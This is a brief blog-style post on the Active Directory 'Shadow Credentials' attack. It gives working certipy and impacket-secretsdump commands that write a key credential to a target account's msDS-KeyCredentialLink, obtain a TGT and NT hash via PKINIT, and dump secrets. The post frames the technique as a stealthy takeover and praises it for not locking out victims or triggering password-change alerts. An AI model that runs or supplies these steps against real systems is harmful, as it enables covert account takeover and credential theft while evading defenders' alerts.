Shadow Credentials for a quiet takeover

Jul 8, 2026 · 1 min read

If you can write to a user or computer’s msDS-KeyCredentialLink (GenericWrite or GenericAll), add a key credential and request a TGT with PKINIT. No password reset, so it is stealthier and reversible.

bash

certipy shadow auto -u user@dom -p pass -account 'TARGET$'
# adds a KeyCredential, requests a TGT, and dumps the NT hash

Then use the recovered hash or ticket.

bash

impacket-secretsdump -k -no-pass target.dom
# or: getTGT with the pfx, then pass the ticket

Pro note: this needs a DC that supports PKINIT, which any AD CS enabled domain provides. Clean up the added key credential afterward. Against users, it beats a password reset because it does not lock the victim out or trip password-change alerts.